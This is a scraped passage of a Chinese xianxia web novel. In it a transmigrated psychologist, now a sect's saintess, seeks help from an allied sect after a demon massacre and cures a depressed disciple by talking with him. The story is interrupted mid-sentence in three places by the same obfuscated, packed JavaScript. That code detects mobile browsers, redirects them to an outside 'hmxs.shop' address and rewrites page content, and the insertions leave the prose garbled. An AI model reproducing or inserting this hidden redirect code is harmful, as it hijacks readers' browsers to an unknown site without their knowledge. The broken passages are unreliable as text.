《心医,但在仙门就业了》 2. 求援 音落,强大的威压如潮水般席卷魔军。 魔军们面露惊恐,纷纷被这威压压的直不起身,乌泱泱的倒了一大片。他们痛苦的跪在地上哀号,不过眨眼间全身上下汹涌的魔气便化为乌有。 魔族护法忍着威压带来的剧痛奋力抬头,一双黑瞳倒映着来人的样子。 来人玉面华冠,青丝如瀑,一袭雪衣罩身,宽肩窄腰。只见他一手环抱着玄天宗圣女,面色淡然。 魔族护法强压下心中没由来的恐惧,厉声喝道:“来者何人?!” 然而雪衣青年闻言却并没有回答,只是漠视着他,冷声道:“伏魔阵,诛。” 一道白光闪过,顷刻间,金色大阵起。魔族护法和魔军们还未来得及动身逃跑便被汹涌的灵气反压在阵法之上,皮肤似被烈火灼烧般,嗞嗞作响,冒出滚滚黑烟。 最后,承受不住如此强势灵力的他们在一声声哀嚎下化为灰烬,顿时血雾弥漫四周。 “…好厉害!” 回过神来后,白归鹤愣愣的看着眼前的场景,暗叹一声:这爆发力,高低是个大能级别的修者吧! “不过是区区魔物,”眼见魔物消散危险解除,雪衣青年便将白归鹤轻轻放下,“道友可有受伤?” “啊我?”落地后,白归鹤才惊觉自己刚才一直被他抱着,有点不好意思地道,“没有没有!” 说完,为了缓解尴尬,又开始自我介绍:“恩公,我叫白归鹤,是…是玄天宗现任圣女,敢问恩公大名?” “闻怀景。” 闻言,白归鹤一愣:闻怀景,根据原身记忆,这是百年前闭关于玄天宗的剑仙的名字。原身没见过,但多少有听宗门长老提过这位剑仙,没曾想今日竟正好撞上他出关——撞大运了。 她赶忙谢道:“原来是闻仙君——多谢闻仙君出手相救!” 闻怀景却摇摇头,淡淡道:“降妖除魔乃修者应尽之事,不必言谢。” “当务之急是先去玄天宗内寻找幸存者。” 说罢,他召出佩剑。淡金色流光汇聚,一把通身雪白的长剑显现在他身前,极薄极细。 闻怀景一脚踩上剑身,随后回头,一双翡翠似的眸子定定看着白归鹤,似乎是示意她跟上。 白归鹤一下就懂了他的意思。毕竟思及现在的身份,也合乎情理。于是为避免不必要的麻烦,她便跟着踏上剑身。 片刻后,剑缓缓升向高空。 望着逐渐变小的景物,白归鹤在心里吐槽:不过话说回来这剑仙话也太少了点,什么都不说光看着她,还好她聪明,换个木愣点的,估计就要大眼瞪小眼了。 【毕竟是剑仙,高冷人设已是标配,】从方才起就一直杳无音信的系统竟在这时突然跳出来,声音听着居然有点谄媚:【宿主,催眠表冷却时间结束!】 白归鹤先是被这突如其来的声音吓了一跳,待听清后又一脸无语,在心里和系统说话:“现在结束又有什么用?迟了,刚才我差点要死时你去哪了?” 系统沉默,企图靠装死来逃避问题。 白归鹤一翻白眼,死追不放:“这事没完!我问你——谁家系统会忘记告诉宿主道具的使用时间?谁家系统会在宿主快死时搞失踪?” “你的屡次失职差点害我丢了性命,就这样还想要我为你做事?想的倒美!” “解绑!我不干了,你另请高明吧!” 闻此,系统不再装死赶忙滑跪:【别别别!对不起宿主!我也是第一天上任,经验不足!】 【至于补偿我刚才向主神系统反应过了,现已得到批准为宿主破例,解除了全部道具的冷却!其中并包括未解锁的道具,只需解锁,宿主均可无限使用!】 系统小心翼翼:【宿主,这个补偿,你还满意吗?】 “这还差不多……”见目的达成,甚至比预期还好,白归鹤心满意足,“这次就算了,我就勉强原谅你的失职,别再有第三次!” 系统连忙应声,发誓没有第三次。 恰好此时剑已行至宗门内殿,白归鹤心情愉悦的哼一声后便不再理系统,转而低头去看陆地寻找幸存者。 却不料这一低头,就是大片大片的殷红从眼前闪过。她定睛一看,只见陆上尸横遍地,而鲜血染红一切。 白归鹤翘着的嘴角一下子僵住了。 “……还是来迟了,”见此情景,闻怀景的脸色也愈发凝重,他一手掐诀,声音如淬寒霜,“情况比预想的更严重,且……吾并未感知到此地有灵力波动。” 闻言,白归鹤瞬间明白了他的意思。根据原身记忆,在这个修真界无论是修士还是普通人,他们的心都是具有灵力的,而一旦心跳停止,灵力就会随之消散。 闻怀景感应不到灵力波动——说白了,就是代表此地已经没有活人了。 白归鹤:“……” 意识到这一点后,她半天没出声,闻怀景侧目看了她一眼,没再说话,似乎是在给她自我消化的时间。 白归鹤也确如他所想的那般——虽然她不是原身,但也不是冷血的人,在面对那些尸体时,她的心中也还是会涌上一股难言的酸涩。 那些冰冷的尸体,在一天前,都还是鲜活的生命。 ……真是造孽啊。白归鹤心想。 她无比清楚,归根结底,还是因为仙门没落,才造就了如今的局面,如果仙门不曾没落,魔族肆虐修真界、侵略仙门,是万万不可能发生的事。 想到这,白归鹤忍不住在心里问系统:“系统,快去帮我调查一下仙门为何没落!这对我很重要!” 虽然她继承了原身的大部分记忆,可还有一小部分一无所知,这仙门怎么没落的便是其中之一。 【当然可以!】 短暂的沉寂后,系统给出了回应。 【根据系统调查整理,此世界众仙门腐败现象根深蒂固,不良风气盛行,影响了众多修士郁结身患郁症,导致修为停滞不前。】 【得出结论:仙门腐败现象无人改正、郁症修士只增不减、医修找错医治郁症修者的方向,长此以往,种种因素叠加,仙门便渐渐没落了。】 原来如此。 那只要她疗愈这个世界的郁结修士,疏导开解他们的心理助其修为突破,不就可以复兴仙门了? 白归鹤深知魔族一定不会善罢甘休,定会找准时机卷土重来,只有仙门强大、强大到一举制横魔族,才能一劳永逸。 而且她也不想未来就这么生活在魔族统领的世界,想想那尸山血海,太可怕了! 思索片刻,一个计划在白归鹤心中浮现。她看向闻怀景,闻怀景注意到她的视线,侧目示意她开口。 白归鹤道:“闻仙君,玄天宗遭此劫难,实乃无妄之灾。不知仙君可否能与我同行前往仙门各派、寻求帮助重建玄天宗?” 说完,她便眼含期待的看着闻怀景。如今玄天宗覆灭,她既穿成其圣女,于情于理,都是要代其履行职责——那就是求助其它门派来重建玄天宗,也算给已故的原身一个交代。 至于疗愈郁症修者,她早就想好了:在求助其它门派的同时顺势自荐以心医治愈郁症修士。 简直一举两得、一箭双雕! 她简直是个天才。 最后邀请闻怀景同行,则是她自己的私心:有个剑仙陪在身边总比孤身一人好,有危险可以直接喊他,更加保障(绝对不是怕系统再出错,绝对不是)。 但闻怀景说不定会拒绝,毕竟按她以往看的网文里,高人大能不都挺性格孤僻的嘛……白归鹤正胡思乱想想着,就听闻怀景道:“可以。玄天宗于吾有恩,如今却惨遭灭门,吾不会坐视不管。” 欸,比预想的要轻松啊。 白归鹤松了口气,道:“那事不宜迟,我们现在就出发吧!” 片刻后,他们落脚于一处平地。 落地后,闻怀景就开始执剑画阵,白归鹤驻足看了会,心领神会:是传送阵。 “嗯…我们先去与玄天宗交好的门派,”白归鹤从记忆里翻出了地址与名字,“长春山,铃音阁。” 闻怀景颔首,默念目的地。 旋即,传送阵开启,强大的灵力迸发几乎要将人掀飞,青丝也因此翻飞不止,白归鹤下意识紧攥住闻怀景的衣袖,二人一同走入阵中。 在踏入阵中的那一刻,周遭环境开始涣散重影,白归鹤眼睛一闭一睁,眼前景象就骤然一变。 宏伟的石门雕着上古神兽凤凰,尾羽盘绕石柱;白墙琉璃瓦,筑起的层层高楼古朴典雅,四角屋檐勾起皆挂阵邪符;丝竹之音婉转悠扬,伴着流水拍岸,传遍山峦。 长春山,铃音阁。 见有陌生修者突然到访,驻守山门的守门弟子持剑警惕道:“来者何人?可有拜帖?” “我是玄天宗圣女,他是玄天宗剑仙,我们没有拜帖……”眼见守门弟子一脸鄙夷,隐隐有要拔剑的姿态,似是把他们当成了不知天高地厚的冒充者,白归鹤连忙喊道,“慢着别拔剑!我有能证明我们身份的东西!你等我翻下口袋……” 她思索着从衣袖里拿出一枚纯白的玉佩。成色不错,花纹精细,一抹殷红落在中心,实乃上品。她道:“虽然我们没有拜帖,但有此令牌,应该能证明我们的身份了吧?” 此为玉令,仙门各派每位现任掌权人皆有此玉,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716326|189328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随身佩戴,是身份地位的象征,仙门中无人不识——更重要的是此玉是滴血认主,非主即燃,所以不会存在被冒充诸如此类的情况。 而玄天宗自老宗主仙逝后掌权就由圣女接手了,这玉令自然而然便传到圣女手中,已是仙门中人的共识。 果然,见此玉令,守山弟子脸色一变:“这是…玉令?!” 旋即收剑,行礼道:“弟子赵承欢,见过玄天圣女、剑仙!方才多有冒犯,还望二位恕罪!” “没事没事,”白归鹤摆摆手,随后说出来意,“我们来此,是有要事要与阁主商议,不知道友可否传信带路?” - 一刻钟后。 铃音阁,铃幽大殿。 殿内古朴典雅,设有熏香,白归鹤甫一踏入,便被这香迷了眼。 “参见阁主,”进来后赵承欢便停在殿中央的流苏前,拱手行礼,“阁主,人弟子带来了。” 须臾,流苏后传来一道清脆的女声:“嗯,辛苦你了。退下吧。”话落的刹那,流苏颤动,不过片刻便如云雾般被拨开。 只见铃音阁阁主夜流月身着墨蓝色长袍背手而立,白归鹤端详着这背影,和原身记忆里模糊的身形重合了。 “是。”应声后,赵承欢关门离开。 夜流月转过身来,露出一张昳丽的容颜,她眉眼弯弯,还未等白归鹤开口便笑着迎上:“许久未见,归鹤,近来可……咦?闻剑仙?你出关了?”乍见故人,夜流月露出惊色。 闻怀景道:“夜阁主,别来无恙。” 短暂的寒暄过后,三人落座。 白归鹤也不拖拉,开门见山,短短几句话就简述了玄天宗的遭遇。 “什么?玄天宗被魔族侵略了?”听完后,夜流月面色一凝,她追问道,“那长老们……?” “……无一幸免。”白归鹤面露痛色。 “……啊…”闻此,夜流月眼中隐隐有泪光划过,但很快她就收拾好情绪,正色道,“铃音阁与玄天宗乃百年世交,如今玄天宗却遭此劫难,重建之事,铃音阁定是会鼎力相助!” “归鹤感激不尽!”见势不错,白归鹤顺势道出另一个目的,“除了重建玄天宗外,还有一要事,不知阁主可愿听?” 夜流月道:“但说无妨。” 白归鹤斟酌片刻,便组织好语言:“阁主可知道,郁结之症?” 话落,夜流月先是一愣,才道:“这自然是知道……怎么了?” 白归鹤苦笑一声,答非所问:“若非仙门修者多患郁症,就此没落,这魔族未必敢如此猖狂入侵玄天宗。” “要能疗愈郁症修者重振仙门,我们又何惧这魔族入侵。” “……”听到这,夜流月罕见的沉默了。她知道白归鹤说的没错,只要疗愈郁症修者重振仙门,还用怕魔族入侵?可问题是这百年下来,竟无一医修能有治愈郁症的法子,不然仙门也不会没落至此,受魔族欺压乃至侵略。 想到这,夜流月叹了口气。 白归鹤也猜到了她在想什么,接着说道:“实话不相瞒,夜阁主,在来时路上,我一直在思考怎么样才能疗愈郁症修者。” “我想,这郁症难以治愈,有没有种可能,是因为这百年来,我们找错了医治的方向?” 她一口气说完:“这郁症既然是从心起,那我们为何不从心医?” 闻此,闻怀景与夜流月皆是一怔。 “从心医?”夜流月疑惑道,“此话怎讲?” 白归鹤解释道:“简单来讲就是用言语来开解修士心结,疗愈郁症。” “!” 此话一出,掀起惊天巨浪。夜流月与闻怀景皆被白归鹤的言论所震惊:用言语来治疗?这莫不是在开玩笑! 要知道这百年来医修们用尽了无数绝世草药都无法医治郁症修者……用言语来治疗郁症修者?这怎么可能?太荒缪了吧! 半晌,夜流月叹道:“唉,归鹤,不是我不信你,只是这百年来,不少有能人医修都说自己能够疗愈郁症,可最后的结局都是不了了之……” “说句不中听的,连医修都无法的事,更遑论身为法修的你呢?郁症之事兹事体大,真不是嘴上说说几句就可以成功的,还请你勿当儿戏。” “可不试试怎么就知道行不通?”白归鹤眼神坚定,丝毫不动摇,夜流月不相信在她的意料之内。 然而待她还要说什么,就被一阵急促的拍门声打断。 “砰砰砰——” 赵承欢焦急的声音也随之响起。 “不好了阁主!祁宴师兄不知怎么从禁闭地逃出来了,现在正在比武场发病大闹!” 3. 求援2 几分钟后,铃音阁,比武场。 等白归鹤几人匆匆赶到时,偌大的武场上早已乱作一团,遍地狼藉。 赵承欢心急道:“阁主、圣女,仙君,快看比武场的中心!” 几人遁声看去,只见一名身着青衣的少年——或者说祁宴,正以一对群激战着。 刀剑相交,铿锵声响彻天地。 面对一群人的围攻,祁宴丝毫不落下风,甚至过猛,完全诠释了快准狠。 “祁宴快住手!”夜流月眼尖的看到祁宴抬剑就要祭出杀招,立马喝道,“那是你的师兄弟!” 但终究还是慢了一步,祁宴杀招已出。 掺杂着魔气的灵力汇聚于剑身,蓄势待发,饶是来自异世的白归鹤,也看得出来,这一剑下去,必见血。 “叮——” 就在这千钧一发之际,一道雪色身影从天而降,竟以迅雷之势,接下了祁宴斩下的那一剑——是闻怀景! 他一招便击落长剑化解攻势,反手就将祁宴制住,速度之快祁宴还没反应过来但也下意识要反抗,却不料被其压的死死的,动弹不得。 见人被制住,赵承欢手持事先准备好的捆仙锁挤开人群赶忙上前,三两下便将祁宴捆绑在地。 “多谢仙君出手!”赵承欢牵着捆仙锁末端,向闻怀景致谢。 闻怀景一颔首,而夜流月和白归鹤也在这时赶到。 赵承欢对夜流月道:“阁主,弟子和师兄们这就带祁师兄回禁闭地。” 看着即便是被捆住,也依然在挣扎的祁宴,夜流月无可奈何的叹了口气,揉了揉发痛的太阳穴:“去吧。” 随后,祁宴被众人抬走了。 “所以,这到底是怎么了?为什么他会变成……这样?” 见事终了,在旁边看完全程的白归鹤终于提出内心的疑问,她心中隐隐有个猜想:“‘发病’?难道说……” 夜流月点了点头,接下话:“是,你想的没错,我那徒儿也是郁症病患……你刚才也看到了,他发病是如何的严重,唉,这郁症可不是你想的那么简单。” 啧,又被小看了。 白归鹤抽了抽嘴角,索性道:“我之前嘴上说说确实没有说服力,要不然这样吧,我实践给你看——让我单独见见你的徒弟,也许我能医治好他呢?” “这……”像是没料到白归鹤会这么说,夜流月面带迟疑,沉默了。只见她眉宇微蹙,似是在思考这可不可行。 “我能理解你的顾虑,但所谓不破不立,”白归鹤乘胜追击,“况且,你也不想你的徒弟一直这样下去吧?” 说完,场面一度陷入沉默。 夜月流自然不想自己的徒弟一直这下去。伴随郁症滋生的心魔,不仅有损道心,更危害生命,她比谁都希望自己的徒儿能快好起来,只是她仍有所顾虑。 恰在此时,一道声音打破了僵局。 “吾倒觉得,阁主可以一试,”原本一直在静静听她们谈话的闻怀景突然开口,“此举有利无弊,于情于理,都该一试。” 闻言,白归鹤略带感激的看了眼闻怀景,秒跟团:“闻仙君说的对!” 她接着道:“而且如果真如我所言,我医好了你的徒弟,那这困扰仙门百年来的问题——郁症,同时也将迎刃而解。此举有利无弊,为何不试一试?” 对啊,此举有利无弊,为何不试? 终于,夜流月心念微动。 - 有了闻怀景的助功,再加上白归鹤那三寸不烂之舌的本事,夜流月一番权衡下来,最终还是答应了提议。 片刻后,夜流月带领白归鹤和闻怀景前往祁宴的禁闭地。 路上,白归鹤也从夜流月那里了解了祁宴的故事。俗话说的好,知己知彼百战百胜,适当的了解病患,也好让她‘对症下药’。 据夜流月所说,祁宴作为大师兄,十分勤奋刻苦,不过弱冠就已步入金丹中期,一直以来他都是师弟们的榜样,妥妥的三好学生’——一直到变故发生。 三年前,祁宴作为剑修交换生去其他仙门修炼学习几月,回来后,一切都变了。 他变得易怒易躁,对待师兄弟们不复曾经温柔,后经了解,夜流月才知道他是患了郁症;又因修为不再精进,止步于金丹期圆满,心魔生根发芽。 为防事端,夜流月只好将祁宴关在禁闭地。说起来今天也是因为看管不慎,才让他从禁闭地逃了出来。 “好,我们到了,”到了目的地后,夜流月长叹一声,“关押祁宴的禁闭地。” 此地依山傍水,小筑耸立。 白归鹤四处看了看,发现周围皆是茂林修竹,十分冷清,竟无一点人烟。 夜流月忧心忡忡:“归鹤,我那徒儿自从患了心病后,心境就不似从前了,若他说了冒犯你的话,我先替他赔个不是。” 白归鹤笑笑表示能理解。 三人走到小筑门前站定。 白归鹤深呼吸一口气,举起手敲了敲门。 “咚咚咚咚” 片刻后,一个沙哑的男声从门内响起:“……谁?” 夜流月道:“宴儿,是为师,还有玄天宗的两位道友。其中一位,你也眼熟,方才在比武场上……打过照面了。” 夜流月这话说的委婉。 白归鹤心说那何止是‘打过照面’,人家闻怀景直接生擒了他祁宴。 “……所以呢?来这里干什么?”祁宴似乎在门内冷笑,“来问罪?” 夜流月忙道:“并非为了问罪,宴儿,为师和他们此次前来,是为了——” “给你看‘病’。” 白归鹤抢答,毛遂自荐:“自我介绍一下,我叫白归鹤,是玄天宗的……”说到身份,她微妙的停顿了一下。 为不给压力,她思索片刻,才道:“……一名小弟子。祁道友,我为你的郁病而来,请让我进来看看你。” “我有办法能治好你。” 岂料听了这句,祁宴就嗤笑道:“你说我就信?百年之疾,你说能治就能治?” 这话说的不无道理。 “可宴儿,信信又有何妨?”见势不妙,夜流月立马劝道,“为师知道你一直被郁症困扰,这样下去不是办法。反正左右也无事,就让她见你试试吧?” “……” 夜流月一劝,门内一阵寂静。 白归鹤见缝插针道:“祁道友,试试总比一直不作为好。” “……” 门内还是一阵寂静。 白归鹤疑惑:“怎么回事?” 夜流月也纳闷,再次敲响房门:“宴儿?——” 然而话音刚落,门内就传来了祁宴的声音,听不出什么情绪:“也罢……门没锁。” 夜流月心中一喜:这么说是同意归鹤进来了? 她松了口气,对白归鹤说道:“宴儿同意了。归鹤,你之前说过要单独见他,那我和闻仙君就在外面候着了。” 白归鹤:“嗯。” 她推开门说:“那我进来了?” 门开后,白归鹤发现这房间分内外两室,由屏风隔断。外室布置简单,虽小但五脏全。 门关后,白归鹤绕过屏风,走入内室。 内室不大,一眼到底。而这第一眼,她就看到一个青色的身影正颓坐在床榻上,黑发如墨般倾洒。 正是祁宴。 而祁宴见她进来,只是淡淡的扫了她一眼,说:“你知道我为什么突然同意让你进来吗?” 白归鹤说:“当然知道,因为好奇。” “你说对了,”祁宴面无表情,“你知道吗?万药楼的疾愈圣手都拿我束手无策。” 白归鹤:so? “你说的那么信誓旦旦,连师尊都愿帮你,我倒要看看你怎么做到。” “放心,决不会让你失望,”白归鹤发现一旁有椅子,指了指,问,“我可以坐吗?” 祁宴:“随便你。” 有了许可,白归鹤将椅子搬到了祁宴的床榻前。 落坐后,她一脸严肃的看着祁宴,直奔主题:“和我讲讲你转学——咳,去其他仙门修练的日子呗?” “……”祁宴暗了暗眸,心情又底了几分,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716327|189328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无可奉告。” 可你不说,她怎么治? “系统,催眠表。”为节省时间,白归鹤当机立断。 【叮咚,已为宿主发放~】 白归鹤拿出显现的催眠表,领域展开! “你这是干什么?”祁宴一愣,还不等他再说什么,便陷入催眠中。白归鹤轻声引导,循循善诱。 接下的事情便水到渠成。 “我不明白,他们为什么要这样对我,我明明没有惹过他们……” 有了催眠表,祁宴不再拘泥于面子,卸下了故作冷漠不好说话的保护罩。 “他们嘲讽我资质、嘲讽我外貌,在那里,没有人和我说话,”祁宴有些语无伦次,似乎是回想起那段时光,几近落泪,“我知道修真者应以大道为重,可我坚持不了,每晚,他们的话都会回荡在我耳边。” 恶意是可以杀死人的,尤其是当它们化作言语。 白归鹤的目光不自觉温柔下来:“那已经过去了,你挺过来了。” 祁宴揉了揉眼睛,抹去泪水。 话是这么说,但那些人的话,还是会在午夜时分惊醒他,犹如挥之不去的噩梦。 祁宴:“我不敢告诉师尊,我不想让师尊失望。” “你的师尊从来没有对你失望过,”白归鹤安抚着他的情绪,“比起这些,她更在乎你的身心健康。” 她的眼神前所未有的宁静:“一个人,不论什么时候,都不能为不值得的人而内耗焦虑。” - 聊到最后,祁宴的身上竟散发出点点光芒。 而这光芒是境界提升时才有的! “我这是?……”等回过神来时,祁宴看了看自己发光的手,一调息,发现灵力周转流畅无比,连时常在耳边私语的心魔也消散不见了! 心魔与郁皆由心结起,结开自然便都散了。 白归鹤道:“现在感觉如何?”提升了境界又没了心魔,不得美疯? 祁宴吸了吸鼻子,现在冷静下来后,他回想起方才的对话,总觉尴尬,又变得嘴硬了:“也,还行。” 白归鹤笑着摇摇头:全身上下就嘴最硬! “那既然如此,我就去喊你师父过来了,她还在门口等着,”她起身道,“我想你师父,现在应该很想见你。” - 【叮咚,检测到宿主成功治疗一名郁症患者,奖励发放:一百积分。目前宿主积分:一百。PS.距离解锁下个道具还差200积分~】 【宿主好厉害~这么快就疗愈了一个郁症患者~】 “这是当然了!而且有了祁宴这个成功的例子,之后在其它门派宣扬心医都会容易许多。” 【还是宿主聪明啊!】 系统:【照这样下去,宿主治疗郁症患者越多,积分奖励也会更多,要不了多久宿主就能解锁全部道具了!】 “那是!” 白归鹤刚出门口,就看见夜流月正在门口前的空地上来回踱步,很焦急;而闻怀景则在门前端坐在剑身上,似是在闭眸小憩,连叶子落在身上也浑然不觉。 “怎么样?”见白归鹤出来,夜流月停下了脚步,上前关切道,“我那徒儿还好吧?没伤到你吧?” 面对夜流月三连问,白归鹤镇定回复:“没事。很好。没有。我履行了承诺,快去看看你徒弟吧!” 夜流月激动道:“我这就去!”说完,她便进入了小筑。 白归鹤莞尔一笑,替他们关了门留了独处空间。此时微风拂过,落叶舞动,沙沙作响。 现在,小筑门口就只有她和闻怀景两个人了。 白归鹤将目光放在了闻怀景身上,静静走到他身边。 闻怀景依旧岿然不动,维持着打坐的姿势,只是因为那场风,落在他身上的叶子更多了。洁白无净的雪衣配上枯落叶,竟莫名有些狼狈。 鬼使神差,白归鹤伸手拂去那些落叶。 等反应过来自己做了什么后,闻怀景也因这动静睁开了眼。 看着那双翡翠似的眼眸,白归鹤内心一咯噔:我艹脑子想想手也跟着做了! 4. 小师妹1 闻怀景疑惑的看着白归鹤。 白归鹤定了定心神。目前他们的关系还处于刚认识不久的阶段,她贸然做出这么亲昵的举动,确实有些逾越。 思考片刻后,她指了指被拍落的叶子,决定如实回答:“仙君,有叶子落在你身上了,我帮你拍拍。”毕竟她也想不到用什么理由混过去;就算想到了,也似乎和事实相差不大,没有说谎的意义,那还不如实话实说。 “……嗯,”闻怀景起身收了剑,眼眸毫无波澜,“多谢。” 幸好闻怀景并未在意。白归鹤松了口气:“小事,不用谢!”她还要说什么,就见夜流月从小筑出来了。 还不等白归鹤说话,夜流月感激之色就溢于言表,一把抓住了她的手:“这真是难以置信!归鹤,是我见识短浅了,你竟然真的能疗愈郁症……必须赶快通知其它门派。仙门有救了!” “这是自然,”白归鹤应和着,她虽开心不已,但还有更重要的事要做,于是又正色道,“但现在最要紧的还是先回到玄天宗,我派长老们与一众弟子还尸骨未殓……” 夜月流将手放在白归鹤肩上,轻拍几下,似是安慰:“不必多说,我随你们一同前去,为死去的道友祭奠。” - 来也如风,去也如风。 白归鹤携铃音阁一众人回到玄天宗后就好生安葬了逝去的同门。 他们既为守卫宗门而死,身为圣女的白归鹤自然要用玄天宗的最高仪式送他们入葬。 愿他们在冥界安息。 - 等一切尘埃落定,修真界已过去数日。 一日清晨,白归鹤站在玄天宗的山门前,做着最后的收尾工作。 少女身着水蓝色齐胸襦裙,两鬓犹似蝴蝶盘在脑后,灵动俏丽;皮肤白皙,一双棕眸恰如盈盈秋水,此刻却对着空白的硬石牌匾目露难色,拧眉思忖。 现在的白归鹤可以说是非常苦恼。 因为之前魔族攻上来的时候,把玄天宗原本的硬石牌匾炸了——对,你没听错,炸了,而且还炸成渣渣了。 当然,她苦恼的不是硬石牌匾被炸成渣渣了,而是新的这个硬石牌匾的字是要由她来刻。 如今玄天宗只剩下她一个圣女,这个刻新硬石牌匾的差事自然而然就落到她身上了。 可问题是,她刻不好。她是心理医生不是古文学生,如果让她来刻,那字包丑的人神共愤,可能还会有暴露不是原身的风险…… 不行不行,绝不能让她刻!得想个法子推脱。 白归鹤喃喃自语:“要不这字还是找闻仙君来刻吧?” 她兀自忖量,却未料话音刚落,闻怀景平静的声音就响在身后。 “何事?” 人未至,声先到。 白归鹤闻声回头,心头颤了一下。 只见闻怀景身着一袭雪衣,长身玉立,如瀑的墨发编成了大辫子,正松散的躺在胸膛右侧。许是因着发型的缘故,眉宇间的冷厉也散了许多,平添了些许柔和。 哇塞人夫。 这是白归鹤脑子里想到的第一个词。 “你怎么了?”闻怀景歪了歪头,不明所以。 “没什么,”白归鹤摇摇头,驱散了脑中的想法,实诚道,“只是我在想我要将这硬石牌匾交由仙君来刻罢了。” “……” 四周突然安静下来。 显然是没想到白归鹤会这么说,闻怀景一怔,甚至脱口道:“为什么?” 居然震惊到连说的都不是“为何”了! 白归鹤理直气壮,说的有理有据:“因为仙君你救了我啊!” “你是玄天宗功臣,这硬石牌匾理应由你来刻!” “而且,”少女的眼神璀璨如星,一眨不眨地看着闻怀景,“若不是仙君救了我,我恐怕早已死在魔族的手上了。” “所以,还请仙君不要拒绝我的好意。” “……” 两两相视,许是因为白归鹤的眼神过于诚挚,闻怀景最终还是答应了下来。 白归鹤就吃准了他会心软。在重建玄天宗的这几天里,闻怀景可帮了她不少忙。搬运重物、收敛尸身,无不是他亲力亲为,他们也因此熟络了起来,虽说不上很要好,但也能算个日常说话搭子。闻怀景什么脾气性格,白归鹤也摸得差不多了。 人家看着是冰山美人,其实易心软又天真。说点软话,博个同情,就能让他上套了。 “献丑了。”闻怀景召出本命剑,雪白的剑身映着他若怀春色的眼眸。 他将剑锋对准空白的硬石牌匾,几息间剑起剑落。 白归鹤只感觉到有一阵微风吹过,再次睁眼,这硬石牌匾上便刻上了“玄天宗”三个字,且笔锋凌厉,遒劲有力。 这字刻得着实好看。 白归鹤双手支腰,满意的看着硬石牌匾。 好了,既然山门牌匾刻字的事情解决了,接下来就该轮到开展心理业务了。 - 白归鹤通知各门派通知的很快,不过几天,“玄天宗圣女白归鹤能治愈郁症”这一消息就飞似的传遍仙门各派。 一时众说纷纭,争议不断。有人说白归鹤是门派被灭得失心疯了信不得;也有人说白归鹤打肿脸充胖子,哗众取宠。但最后无不例外,都被白归鹤一一打脸。打脸后,他们又开始为谁先来而争个不停。 每一个门派都想成为第一个。 但白归鹤早有想法。 秉持着先来后到的原则,这开展心理业务的第一站,自然是去初次去的铃音阁。 出发前,白归鹤对闻怀景说:“仙君,在我离开的这段时间,玄天宗就拜托你了。” 闻怀景郑重道:“不负所托。” 不愧是剑仙,一如既往的令人安心。 告别闻怀景后,白归鹤就独自前往铃音阁了。 等她到铃音阁时,已是正午,太阳高挂,正是阳光最烈的时候。 白归鹤看着那熟悉的雕像、楼层,将近半月过去,铃音阁还是初来时那副模样—— 然而物是,人却非。 与以往不同的是,那山门雕像前,正站着一位身着白衣的少女。那少女左顾右盼,似乎是在等什么人。 白归鹤观察了一番那位少女。 那少女墨发高束,白衣紧身,一柄青色长剑悬挂于腰身,一派干练利落。 一言蔽之,此女绝非寻常人。 白归鹤这样想着,那少女就似有所感,朝她看了过来。 然后,白归鹤就看见那少女朝她走了过来。 白归鹤不以为然,只当是巧合。 直到那少女走到她面前,朝她开口:“师尊说过午时会有玄天宗的圣女过来,其身穿水蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716328|189328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色襦裙、腰配玉令。说的就是你吗?” 白归鹤停了脚步,顿了顿,才回道:“是我。你是?” 那少女翩然一笑:“弟子乃铃音阁阁主座下二弟子,南宫兰英,见过玄天圣女!” 南宫兰英拱手行礼:“师尊她老人家临时有事,就让弟子过来给圣女带路。还望圣女见谅!” “没事,”白归鹤道,“你既然是来带路的,那就走吧。” “好,都听圣女的!”南宫兰英爽快答道,上前为白归鹤引路。 - “听师尊说,圣女这次过来,是要治愈我的三师妹?” 路上,南宫兰英向白归鹤发问,白归鹤闻言点了点头。没错,白归鹤这次要治疗的,就是夜流月的三弟子、南宫兰英的小师妹,覃文杰。 南宫兰英接着道:“听说我那位大师兄就是圣女你治好的,太厉害了!” 白归鹤谦虚道:“也没有多厉害,只是聊聊交心了而已。” “那你也要这么治疗三师妹吗?” 白归鹤摇了摇头:“不一定。这得看你师妹患的什么病。不同的病,有不同的疗法。” 谈话间,目的地到了。 相较于祁宴的住处,覃文杰的住处可以说是很有人味——通俗来讲,就是类似于学校的宿舍,不过这比学校宿舍好,因为这是分房的,一至二人一栋。 几栋房屋错落有致。弟子们三三两两的从房屋走出来,手中都捧着书本,似乎是正要去上午课。 白归鹤跟着南宫兰英走到了其中一栋矮房,在门前停下。 这栋矮房墙上爬满了爬山虎,绿意盎然。 